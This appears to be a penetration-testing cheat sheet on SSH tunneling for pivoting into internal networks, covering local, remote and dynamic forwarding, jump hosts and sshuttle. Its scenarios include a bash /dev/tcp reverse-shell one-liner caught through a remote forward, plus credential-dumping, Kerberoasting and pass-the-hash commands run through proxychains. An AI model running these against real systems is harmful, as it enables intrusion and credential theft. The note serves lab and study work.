SSH Tunneling — Complete Reference

External: Internal All The Things — Network Pivoting

SSH tunneling is the first thing to try when you have SSH access to a pivot host. No extra binaries needed — it’s built in.

See SSH for full SSH reference (auth, flags, file transfer, etc.). This note focuses purely on tunneling.


Quick Decision Guide

NeedCommand
Reach one internal port-L local forward
Expose your listener on the pivot-R remote forward
Route all tools through pivot-D SOCKS + Proxychains
VPN-like full subnet accesssshuttle
SSH through a pivot to reach another host-J jump host

📌 1) Local Port Forwarding (-L)

Use case: You can’t reach an internal service directly, but your pivot host can.

Attacker:LOCAL_PORT  →  [SSH to Pivot]  →  REMOTE_HOST:REMOTE_PORT
# Syntax
ssh -L [bind:]LOCAL_PORT:REMOTE_HOST:REMOTE_PORT user@PIVOT -N
 
# Access internal web app (pivot reaches 172.16.0.5:80, you can't)
ssh -L 8080:172.16.0.5:80 user@10.10.10.5 -N
# Now browse http://127.0.0.1:8080 on your Kali
 
# Access internal RDP
ssh -L 3389:172.16.0.10:3389 user@10.10.10.5 -N
xfreerdp3 /u:admin /p:password /v:127.0.0.1
 
# Access internal SMB
ssh -L 445:172.16.0.10:445 user@10.10.10.5 -N
smbclient //127.0.0.1/Share -U admin
 
# Access MySQL running only on localhost of the pivot
ssh -L 3306:127.0.0.1:3306 user@10.10.10.5 -N
mysql -h 127.0.0.1 -u root -p
 
# Run in background (returns terminal)
ssh -f -N -L 8080:172.16.0.5:80 user@10.10.10.5

Key flags:

  • -N — don’t execute a command (keeps tunnel open cleanly)
  • -f — background the process after auth
  • 127.0.0.1 as REMOTE_HOST means localhost on the pivot, not on you

📌 2) Remote Port Forwarding (-R)

Use case: The pivot can’t reach you (firewalled), but you need it to tunnel traffic back. Also useful to catch reverse shells.

SSH Server (Pivot):REMOTE_PORT  →  Attacker:LOCAL_PORT
# Syntax
ssh -R [bind:]REMOTE_PORT:LOCAL_HOST:LOCAL_PORT user@PIVOT -N
 
# Expose attacker's netcat listener (port 4444) on the pivot
# Any connection to pivot:4444 routes back to attacker:4444
ssh -R 4444:127.0.0.1:4444 user@10.10.10.5 -N
 
# Expose attacker's HTTP server on the pivot's port 8080
# (pivot machines in the internal network can now download files from "pivot:8080")
ssh -R 8080:127.0.0.1:80 user@10.10.10.5 -N
 
# On attacker — set up reverse shell listener
nc -lvnp 4444
# Trigger the shell from the internal network → it connects to pivot:4444 → routes to you

Tip: For remote forwarding to bind on non-localhost interfaces on the pivot, the pivot’s /etc/ssh/sshd_config must have GatewayPorts yes. This is often not the default.


📌 3) Dynamic Port Forwarding — SOCKS Proxy (-D)

Use case: Route any tool through the pivot to reach the whole internal network — one tunnel instead of many -L forwards.

One tunnel vs many -L

Pivot can reach multiple internal services:

127.0.0.1:80    127.0.0.1:5432    127.0.0.1:8080
10.10.20.15:445    10.10.20.20:3389
ApproachCommandsDownside
Local -LOne ssh -L per port/hostMany terminals, easy to forget a service
Dynamic -DSingle ssh -D 1080 + proxychainsTools must use SOCKS; nmap needs -sT -Pn
# Many local forwards ( tedious )
ssh -L 8080:127.0.0.1:80 user@PIVOT -N
ssh -L 5432:127.0.0.1:5432 user@PIVOT -N
ssh -L 3389:10.10.20.20:3389 user@PIVOT -N
 
# One dynamic forward ( preferred for full internal enum )
ssh -D 1080 user@PIVOT -N -f
# Open SOCKS5 proxy on attacker's port 1080
ssh -D 1080 user@10.10.10.5 -N -f
 
# Open SOCKS5 on port 9050 (proxychains default — skips config edit)
ssh -D 9050 user@10.10.10.5 -N -f
 
# Background tunnel with key auth
ssh -i id_rsa -D 1080 user@10.10.10.5 -N -f -o StrictHostKeyChecking=no

Configure Proxychains

# /etc/proxychains4.conf
dynamic_chain
proxy_dns
 
[ProxyList]
socks5  127.0.0.1  1080

Use Tools Through the Proxy

# Nmap — MUST use -sT -Pn through SOCKS
proxychains nmap -sT -Pn --top-ports 100 172.16.0.0/24
proxychains -q nmap -sT -Pn -p 22,80,443,445,3389 172.16.0.10
 
# Common tools
proxychains curl http://172.16.0.10
proxychains gobuster dir -u http://172.16.0.10 -w /usr/share/wordlists/dirb/common.txt
proxychains evil-winrm -i 172.16.0.10 -u admin -p password
proxychains crackmapexec smb 172.16.0.0/24 -u user -p pass
proxychains impacket-psexec domain/admin:pass@172.16.0.10
proxychains python3 exploit.py
proxychains xfreerdp3 /u:admin /p:password /v:172.16.0.10

📌 4) Jump Host (-J)

Use case: SSH to a host deep in the network through one or more pivots, in a single command.

# SSH through pivot (10.10.10.5) to reach internal host (172.16.0.10)
ssh -J user@10.10.10.5 admin@172.16.0.10
 
# Multiple hops (chain them with commas)
ssh -J user@10.10.10.5,admin@172.16.0.10 root@192.168.1.5
 
# With private keys at each hop
ssh -J user@10.10.10.5 -i internal_key.rsa admin@172.16.0.10
 
# ProxyJump in ~/.ssh/config (cleaner)
Host pivot
    HostName 10.10.10.5
    User user
    IdentityFile ~/.ssh/id_rsa
 
Host internal
    HostName 172.16.0.10
    User admin
    ProxyJump pivot

📌 5) sshuttle — VPN-Like Tunnel

Full reference → sshuttle

sudo sshuttle -r user@10.10.10.5 172.16.0.0/24
sudo sshuttle -r user@10.10.10.5 172.16.0.0/24 --ssh-cmd "ssh -i id_rsa"

sshuttle vs proxychains: sshuttle — no proxychains for most tools. Use proxychains for Nmap; prefer Ligolo-ng for full subnet SYN scans.


📌 6) Background Tunnels & Management

# Start tunnel in background
ssh -f -N -D 1080 user@10.10.10.5
ssh -f -N -L 8080:172.16.0.5:80 user@10.10.10.5
 
# Find and kill a background tunnel
ps aux | grep ssh
kill <PID>
 
# Or use pgrep
pkill -f "ssh -f"

Add a Tunnel to an Existing Live Session

You don’t have to reconnect to add a new port forward to an active SSH session:

# In a live SSH session, press: Enter → ~ → C
# A prompt appears:
ssh> -L 8888:172.16.0.5:80
# Press Enter — tunnel added without reconnecting

📌 7) Common Tunneling Scenarios

Scenario A — Reach an internal web app

# Pivot: 10.10.10.5 (SSH access)
# Target: 172.16.0.5:80 (only reachable from pivot's network)
 
ssh -L 8080:172.16.0.5:80 user@10.10.10.5 -N -f
# Browse: http://127.0.0.1:8080

Scenario B — Full internal subnet scan

# Open SOCKS proxy
ssh -D 1080 user@10.10.10.5 -N -f
 
# Scan through proxychains
proxychains -q nmap -sT -Pn --top-ports 50 172.16.0.0/24

Scenario C — Catch a reverse shell from the internal network

# The internal host (172.16.0.20) needs to connect back to you
# But it can only reach 10.10.10.5 (the pivot)
 
# Step 1: Remote forward — expose attacker port 4444 on the pivot
ssh -R 4444:127.0.0.1:4444 user@10.10.10.5 -N -f
 
# Step 2: Start listener on attacker
nc -lvnp 4444
 
# Step 3: Trigger reverse shell on internal host pointing to PIVOT:4444
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
# Shell routes through pivot back to your listener

Scenario D — RDP to an internal Windows host

ssh -L 3389:172.16.0.10:3389 user@10.10.10.5 -N -f
xfreerdp3 /u:Administrator /p:Password1 /v:127.0.0.1

Scenario E — Use impacket tools on internal AD

# SOCKS proxy
ssh -D 1080 user@10.10.10.5 -N -f
 
# Run AD tools through proxychains
proxychains impacket-GetUserSPNs domain/user:pass -dc-ip 172.16.0.1 -request
proxychains impacket-secretsdump domain/admin:pass@172.16.0.10
proxychains crackmapexec smb 172.16.0.0/24 -u admin -H NT_HASH

📌 8) SSH on Windows (Reverse Shell → Tunnel)

If you land a shell on a Windows machine and need to tunnel through it:

# Check if SSH is available
ssh -V
where ssh
 
# Windows 10/Server 2019+ have built-in OpenSSH
# Start the SSH service if needed (requires admin)
Start-Service sshd
Set-Service -Name sshd -StartupType Automatic
 
# Create local forward from Windows pivot
ssh -L 8080:172.16.0.5:80 user@KALI_IP -N
# or dynamic SOCKS
ssh -D 1080 user@KALI_IP -N

For older Windows without SSH — use Plink or Chisel. See Windows Tunneling.


📌 Quick Cheat Sheet (Copy/Paste)

# Local forward (reach internal service from attacker)
ssh -L 8080:INTERNAL_HOST:80 user@PIVOT -N -f
 
# Remote forward (expose attacker's port on the pivot)
ssh -R 4444:127.0.0.1:4444 user@PIVOT -N -f
 
# Dynamic SOCKS proxy (route all tools through pivot)
ssh -D 1080 user@PIVOT -N -f
# Then: proxychains <tool>
 
# Jump host (SSH through pivot to reach internal host)
ssh -J user@PIVOT admin@INTERNAL_HOST
 
# sshuttle (VPN-like — whole subnet, no proxychains)
sudo sshuttle -r user@PIVOT 172.16.0.0/24
 
# Background tunnel management
ps aux | grep ssh
kill <PID>
 
# Add tunnel to live session
# In SSH session: Enter → ~ → C → type -L or -R → Enter